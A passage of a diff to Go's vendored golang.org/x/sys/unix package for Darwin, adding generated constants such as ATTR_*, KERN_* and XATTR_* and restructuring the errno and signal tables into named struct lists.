-+ ATTR_VOL_MINALLOCATION = 0x20
-+ ATTR_VOL_MOUNTEDDEVICE = 0x8000
-+ ATTR_VOL_MOUNTFLAGS = 0x4000
-+ ATTR_VOL_MOUNTPOINT = 0x1000
-+ ATTR_VOL_NAME = 0x2000
-+ ATTR_VOL_OBJCOUNT = 0x100
-+ ATTR_VOL_QUOTA_SIZE = 0x10000000
-+ ATTR_VOL_RESERVED_SIZE = 0x20000000
-+ ATTR_VOL_SETMASK = 0x80002000
-+ ATTR_VOL_SIGNATURE = 0x2
-+ ATTR_VOL_SIZE = 0x4
-+ ATTR_VOL_SPACEAVAIL = 0x10
-+ ATTR_VOL_SPACEFREE = 0x8
-+ ATTR_VOL_UUID = 0x40000
-+ ATTR_VOL_VALIDMASK = 0xf007ffff
- B0 = 0x0
- B110 = 0x6e
- B115200 = 0x1c200
-@@ -169,6 +249,8 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0xc
- CTL_NET = 0x4
- DLT_A429 = 0xb8
-@@ -390,6 +472,11 @@ const (
- FF1 = 0x4000
- FFDLY = 0x4000
- FLUSHO = 0x800000
-+ FSOPT_ATTR_CMN_EXTENDED = 0x20
-+ FSOPT_NOFOLLOW = 0x1
-+ FSOPT_NOINMEMUPDATE = 0x2
-+ FSOPT_PACK_INVAL_ATTRS = 0x8
-+ FSOPT_REPORT_FULLSIZE = 0x4
- F_ADDFILESIGS = 0x3d
- F_ADDFILESIGS_FOR_DYLD_SIM = 0x53
- F_ADDFILESIGS_RETURN = 0x61
-@@ -425,6 +512,7 @@ const (
- F_PATHPKG_CHECK = 0x34
- F_PEOFPOSMODE = 0x3
- F_PREALLOCATE = 0x2a
-+ F_PUNCHHOLE = 0x63
- F_RDADVISE = 0x2c
- F_RDAHEAD = 0x2d
- F_RDLCK = 0x1
-@@ -441,10 +529,12 @@ const (
- F_SINGLE_WRITER = 0x4c
- F_THAW_FS = 0x36
- F_TRANSCODEKEY = 0x4b
-+ F_TRIM_ACTIVE_FILE = 0x64
- F_UNLCK = 0x2
- F_VOLPOSMODE = 0x4
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
-@@ -681,6 +771,7 @@ const (
- IPV6_FAITH = 0x1d
- IPV6_FLOWINFO_MASK = 0xffffff0f
- IPV6_FLOWLABEL_MASK = 0xffff0f00
-+ IPV6_FLOW_ECN_MASK = 0x300
- IPV6_FRAGTTL = 0x3c
- IPV6_FW_ADD = 0x1e
- IPV6_FW_DEL = 0x1f
-@@ -771,6 +862,7 @@ const (
- IP_RECVOPTS = 0x5
- IP_RECVPKTINFO = 0x1a
- IP_RECVRETOPTS = 0x6
-+ IP_RECVTOS = 0x1b
- IP_RECVTTL = 0x18
- IP_RETOPTS = 0x8
- IP_RF = 0x8000
-@@ -789,6 +881,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LOCK_EX = 0x2
- LOCK_NB = 0x4
- LOCK_SH = 0x1
-@@ -884,6 +980,7 @@ const (
- NET_RT_MAXID = 0xa
- NET_RT_STAT = 0x4
- NET_RT_TRASH = 0x5
-+ NFDBITS = 0x20
- NL0 = 0x0
- NL1 = 0x100
- NL2 = 0x200
-@@ -1377,6 +1474,12 @@ const (
- WORDSIZE = 0x40
- WSTOPPED = 0x8
- WUNTRACED = 0x2
-+ XATTR_CREATE = 0x2
-+ XATTR_NODEFAULT = 0x10
-+ XATTR_NOFOLLOW = 0x1
-+ XATTR_NOSECURITY = 0x8
-+ XATTR_REPLACE = 0x4
-+ XATTR_SHOWCOMPRESSION = 0x20
- )
-
- // Errors
-@@ -1528,146 +1631,154 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "resource busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "operation timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "device power is off",
-- 83: "device error",
-- 84: "value too large to be stored in data type",
-- 85: "bad executable (or shared library)",
-- 86: "bad CPU type in executable",
-- 87: "shared library version mismatch",
-- 88: "malformed Mach-o file",
-- 89: "operation canceled",
-- 90: "identifier removed",
-- 91: "no message of desired type",
-- 92: "illegal byte sequence",
-- 93: "attribute not found",
-- 94: "bad message",
-- 95: "EMULTIHOP (Reserved)",
-- 96: "no message available on STREAM",
-- 97: "ENOLINK (Reserved)",
-- 98: "no STREAM resources",
-- 99: "not a STREAM",
-- 100: "protocol error",
-- 101: "STREAM ioctl timeout",
-- 102: "operation not supported on socket",
-- 103: "policy not found",
-- 104: "state not recoverable",
-- 105: "previous owner died",
-- 106: "interface output queue is full",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "EAGAIN", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "ENOTSUP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "operation timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disc quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC prog. not avail"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EPWROFF", "device power is off"},
-+ {83, "EDEVERR", "device error"},
-+ {84, "EOVERFLOW", "value too large to be stored in data type"},
-+ {85, "EBADEXEC", "bad executable (or shared library)"},
-+ {86, "EBADARCH", "bad CPU type in executable"},
-+ {87, "ESHLIBVERS", "shared library version mismatch"},
-+ {88, "EBADMACHO", "malformed Mach-o file"},
-+ {89, "ECANCELED", "operation canceled"},
-+ {90, "EIDRM", "identifier removed"},
-+ {91, "ENOMSG", "no message of desired type"},
-+ {92, "EILSEQ", "illegal byte sequence"},
-+ {93, "ENOATTR", "attribute not found"},
-+ {94, "EBADMSG", "bad message"},
-+ {95, "EMULTIHOP", "EMULTIHOP (Reserved)"},
-+ {96, "ENODATA", "no message available on STREAM"},
-+ {97, "ENOLINK", "ENOLINK (Reserved)"},
-+ {98, "ENOSR", "no STREAM resources"},
-+ {99, "ENOSTR", "not a STREAM"},
-+ {100, "EPROTO", "protocol error"},
-+ {101, "ETIME", "STREAM ioctl timeout"},
-+ {102, "EOPNOTSUPP", "operation not supported on socket"},
-+ {103, "ENOPOLICY", "policy not found"},
-+ {104, "ENOTRECOVERABLE", "state not recoverable"},
-+ {105, "EOWNERDEAD", "previous owner died"},
-+ {106, "EQFULL", "interface output queue is full"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "suspended (signal)",
-- 18: "suspended",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGABRT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "suspended (signal)"},
-+ {18, "SIGTSTP", "suspended"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_darwin_arm64.go b/vendor/golang.org/x/sys/unix/zerrors_darwin_arm64.go
-index cc8cc5b5..cbd8ed18 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_darwin_arm64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_darwin_arm64.go
-@@ -3,7 +3,7 @@
-
- // +build arm64,darwin
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -m64 _const.go
-
- package unix
-@@ -49,6 +49,86 @@ const (
- AF_UNSPEC = 0x0
- AF_UTUN = 0x26
- ALTWERASE = 0x200
-+ ATTR_BIT_MAP_COUNT = 0x5
-+ ATTR_CMN_ACCESSMASK = 0x20000
-+ ATTR_CMN_ACCTIME = 0x1000
-+ ATTR_CMN_ADDEDTIME = 0x10000000
-+ ATTR_CMN_BKUPTIME = 0x2000
-+ ATTR_CMN_CHGTIME = 0x800
-+ ATTR_CMN_CRTIME = 0x200
-+ ATTR_CMN_DATA_PROTECT_FLAGS = 0x40000000
-+ ATTR_CMN_DEVID = 0x2
-+ ATTR_CMN_DOCUMENT_ID = 0x100000
-+ ATTR_CMN_ERROR = 0x20000000
-+ ATTR_CMN_EXTENDED_SECURITY = 0x400000
-+ ATTR_CMN_FILEID = 0x2000000
-+ ATTR_CMN_FLAGS = 0x40000
-+ ATTR_CMN_FNDRINFO = 0x4000
-+ ATTR_CMN_FSID = 0x4
-+ ATTR_CMN_FULLPATH = 0x8000000
-+ ATTR_CMN_GEN_COUNT = 0x80000
-+ ATTR_CMN_GRPID = 0x10000
-+ ATTR_CMN_GRPUUID = 0x1000000
-+ ATTR_CMN_MODTIME = 0x400
-+ ATTR_CMN_NAME = 0x1
-+ ATTR_CMN_NAMEDATTRCOUNT = 0x80000
-+ ATTR_CMN_NAMEDATTRLIST = 0x100000
-+ ATTR_CMN_OBJID = 0x20
-+ ATTR_CMN_OBJPERMANENTID = 0x40
-+ ATTR_CMN_OBJTAG = 0x10
-+ ATTR_CMN_OBJTYPE = 0x8
-+ ATTR_CMN_OWNERID = 0x8000
-+ ATTR_CMN_PARENTID = 0x4000000
-+ ATTR_CMN_PAROBJID = 0x80
-+ ATTR_CMN_RETURNED_ATTRS = 0x80000000
-+ ATTR_CMN_SCRIPT = 0x100
-+ ATTR_CMN_SETMASK = 0x41c7ff00
-+ ATTR_CMN_USERACCESS = 0x200000
-+ ATTR_CMN_UUID = 0x800000
-+ ATTR_CMN_VALIDMASK = 0xffffffff
-+ ATTR_CMN_VOLSETMASK = 0x6700
-+ ATTR_FILE_ALLOCSIZE = 0x4
-+ ATTR_FILE_CLUMPSIZE = 0x10
-+ ATTR_FILE_DATAALLOCSIZE = 0x400
-+ ATTR_FILE_DATAEXTENTS = 0x800
-+ ATTR_FILE_DATALENGTH = 0x200
-+ ATTR_FILE_DEVTYPE = 0x20
-+ ATTR_FILE_FILETYPE = 0x40
-+ ATTR_FILE_FORKCOUNT = 0x80
-+ ATTR_FILE_FORKLIST = 0x100
-+ ATTR_FILE_IOBLOCKSIZE = 0x8
-+ ATTR_FILE_LINKCOUNT = 0x1
-+ ATTR_FILE_RSRCALLOCSIZE = 0x2000
-+ ATTR_FILE_RSRCEXTENTS = 0x4000
-+ ATTR_FILE_RSRCLENGTH = 0x1000
-+ ATTR_FILE_SETMASK = 0x20
-+ ATTR_FILE_TOTALSIZE = 0x2
-+ ATTR_FILE_VALIDMASK = 0x37ff
-+ ATTR_VOL_ALLOCATIONCLUMP = 0x40
-+ ATTR_VOL_ATTRIBUTES = 0x40000000
-+ ATTR_VOL_CAPABILITIES = 0x20000
-+ ATTR_VOL_DIRCOUNT = 0x400
-+ ATTR_VOL_ENCODINGSUSED = 0x10000
-+ ATTR_VOL_FILECOUNT = 0x200
-+ ATTR_VOL_FSTYPE = 0x1
-+ ATTR_VOL_INFO = 0x80000000
-+ ATTR_VOL_IOBLOCKSIZE = 0x80
-+ ATTR_VOL_MAXOBJCOUNT = 0x800
-+ ATTR_VOL_MINALLOCATION = 0x20
-+ ATTR_VOL_MOUNTEDDEVICE = 0x8000
-+ ATTR_VOL_MOUNTFLAGS = 0x4000
-+ ATTR_VOL_MOUNTPOINT = 0x1000
-+ ATTR_VOL_NAME = 0x2000
-+ ATTR_VOL_OBJCOUNT = 0x100
-+ ATTR_VOL_QUOTA_SIZE = 0x10000000
-+ ATTR_VOL_RESERVED_SIZE = 0x20000000
-+ ATTR_VOL_SETMASK = 0x80002000
-+ ATTR_VOL_SIGNATURE = 0x2
-+ ATTR_VOL_SIZE = 0x4
-+ ATTR_VOL_SPACEAVAIL = 0x10
-+ ATTR_VOL_SPACEFREE = 0x8
-+ ATTR_VOL_UUID = 0x40000
-+ ATTR_VOL_VALIDMASK = 0xf007ffff
- B0 = 0x0
- B110 = 0x6e
- B115200 = 0x1c200
-@@ -169,6 +249,8 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0xc
- CTL_NET = 0x4
- DLT_A429 = 0xb8
-@@ -390,6 +472,11 @@ const (
- FF1 = 0x4000
- FFDLY = 0x4000
- FLUSHO = 0x800000
-+ FSOPT_ATTR_CMN_EXTENDED = 0x20
-+ FSOPT_NOFOLLOW = 0x1
-+ FSOPT_NOINMEMUPDATE = 0x2
-+ FSOPT_PACK_INVAL_ATTRS = 0x8
-+ FSOPT_REPORT_FULLSIZE = 0x4
- F_ADDFILESIGS = 0x3d
- F_ADDFILESIGS_FOR_DYLD_SIM = 0x53
- F_ADDFILESIGS_RETURN = 0x61
-@@ -425,6 +512,7 @@ const (
- F_PATHPKG_CHECK = 0x34
- F_PEOFPOSMODE = 0x3
- F_PREALLOCATE = 0x2a
-+ F_PUNCHHOLE = 0x63
- F_RDADVISE = 0x2c
- F_RDAHEAD = 0x2d
- F_RDLCK = 0x1
-@@ -441,10 +529,12 @@ const (
- F_SINGLE_WRITER = 0x4c
- F_THAW_FS = 0x36
- F_TRANSCODEKEY = 0x4b
-+ F_TRIM_ACTIVE_FILE = 0x64
- F_UNLCK = 0x2
- F_VOLPOSMODE = 0x4
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
-@@ -681,6 +771,7 @@ const (
- IPV6_FAITH = 0x1d
- IPV6_FLOWINFO_MASK = 0xffffff0f
- IPV6_FLOWLABEL_MASK = 0xffff0f00
-+ IPV6_FLOW_ECN_MASK = 0x300
- IPV6_FRAGTTL = 0x3c
- IPV6_FW_ADD = 0x1e
- IPV6_FW_DEL = 0x1f
-@@ -771,6 +862,7 @@ const (
- IP_RECVOPTS = 0x5
- IP_RECVPKTINFO = 0x1a
- IP_RECVRETOPTS = 0x6
-+ IP_RECVTOS = 0x1b
- IP_RECVTTL = 0x18
- IP_RETOPTS = 0x8
- IP_RF = 0x8000
-@@ -789,6 +881,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LOCK_EX = 0x2
- LOCK_NB = 0x4
- LOCK_SH = 0x1
-@@ -884,6 +980,7 @@ const (
- NET_RT_MAXID = 0xa
- NET_RT_STAT = 0x4
- NET_RT_TRASH = 0x5
-+ NFDBITS = 0x20
- NL0 = 0x0
- NL1 = 0x100
- NL2 = 0x200
-@@ -1377,6 +1474,12 @@ const (
- WORDSIZE = 0x40
- WSTOPPED = 0x8
- WUNTRACED = 0x2
-+ XATTR_CREATE = 0x2
-+ XATTR_NODEFAULT = 0x10
-+ XATTR_NOFOLLOW = 0x1
-+ XATTR_NOSECURITY = 0x8
-+ XATTR_REPLACE = 0x4
-+ XATTR_SHOWCOMPRESSION = 0x20
- )
-
- // Errors
-@@ -1528,146 +1631,154 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "resource busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "operation timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "device power is off",
-- 83: "device error",
-- 84: "value too large to be stored in data type",
-- 85: "bad executable (or shared library)",
-- 86: "bad CPU type in executable",
-- 87: "shared library version mismatch",
-- 88: "malformed Mach-o file",
-- 89: "operation canceled",
-- 90: "identifier removed",
-- 91: "no message of desired type",
-- 92: "illegal byte sequence",
-- 93: "attribute not found",
-- 94: "bad message",
-- 95: "EMULTIHOP (Reserved)",
-- 96: "no message available on STREAM",
-- 97: "ENOLINK (Reserved)",
-- 98: "no STREAM resources",
-- 99: "not a STREAM",
-- 100: "protocol error",
-- 101: "STREAM ioctl timeout",
-- 102: "operation not supported on socket",
-- 103: "policy not found",
-- 104: "state not recoverable",
-- 105: "previous owner died",
-- 106: "interface output queue is full",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "EAGAIN", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "ENOTSUP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "operation timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disc quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC prog. not avail"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
